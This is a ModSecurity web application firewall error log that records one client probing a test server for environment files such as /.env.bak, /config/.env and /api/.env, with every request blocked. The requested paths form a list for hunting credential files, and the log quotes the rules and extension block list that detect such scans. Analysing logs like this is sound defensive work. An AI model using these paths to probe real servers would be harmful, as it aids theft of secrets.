[Mon Jun 30 11:32:25.189982 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInegAAAAE&quot;]
[Mon Jun 30 11:32:25.190231 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInegAAAAE&quot;]
[Mon Jun 30 11:32:25.190454 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInegAAAAE&quot;]
[Mon Jun 30 11:32:25.312417 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInewAAAAE&quot;]
[Mon Jun 30 11:32:25.312672 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInewAAAAE&quot;]
[Mon Jun 30 11:32:25.312901 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInewAAAAE&quot;]
[Mon Jun 30 11:32:25.373153 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfAAAAAE&quot;]
[Mon Jun 30 11:32:25.373420 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfAAAAAE&quot;]
[Mon Jun 30 11:32:25.373635 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfAAAAAE&quot;]
[Mon Jun 30 11:32:25.431883 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfQAAAAE&quot;]
[Mon Jun 30 11:32:25.432041 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfQAAAAE&quot;]
[Mon Jun 30 11:32:25.432312 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfQAAAAE&quot;]
[Mon Jun 30 11:32:25.432551 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfQAAAAE&quot;]
[Mon Jun 30 11:32:25.493180 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfgAAAAE&quot;]
[Mon Jun 30 11:32:25.493341 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfgAAAAE&quot;]
[Mon Jun 30 11:32:25.493579 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfgAAAAE&quot;]
[Mon Jun 30 11:32:25.493781 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfgAAAAE&quot;]
[Mon Jun 30 11:32:25.555298 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfwAAAAE&quot;]
[Mon Jun 30 11:32:25.555566 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfwAAAAE&quot;]
[Mon Jun 30 11:32:25.555791 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sInfwAAAAE&quot;]
[Mon Jun 30 11:32:25.675220 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIngQAAAAE&quot;]
[Mon Jun 30 11:32:25.675463 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIngQAAAAE&quot;]
[Mon Jun 30 11:32:25.675647 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIngQAAAAE&quot;]
[Mon Jun 30 11:32:26.289632 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInggAAAAE&quot;]
[Mon Jun 30 11:32:26.289899 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInggAAAAE&quot;]
[Mon Jun 30 11:32:26.290099 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInggAAAAE&quot;]
[Mon Jun 30 11:32:26.349008 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIngwAAAAE&quot;]
[Mon Jun 30 11:32:26.349254 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIngwAAAAE&quot;]
[Mon Jun 30 11:32:26.349452 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIngwAAAAE&quot;]
[Mon Jun 30 11:32:26.410118 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhAAAAAE&quot;]
[Mon Jun 30 11:32:26.410405 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhAAAAAE&quot;]
[Mon Jun 30 11:32:26.410625 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhAAAAAE&quot;]
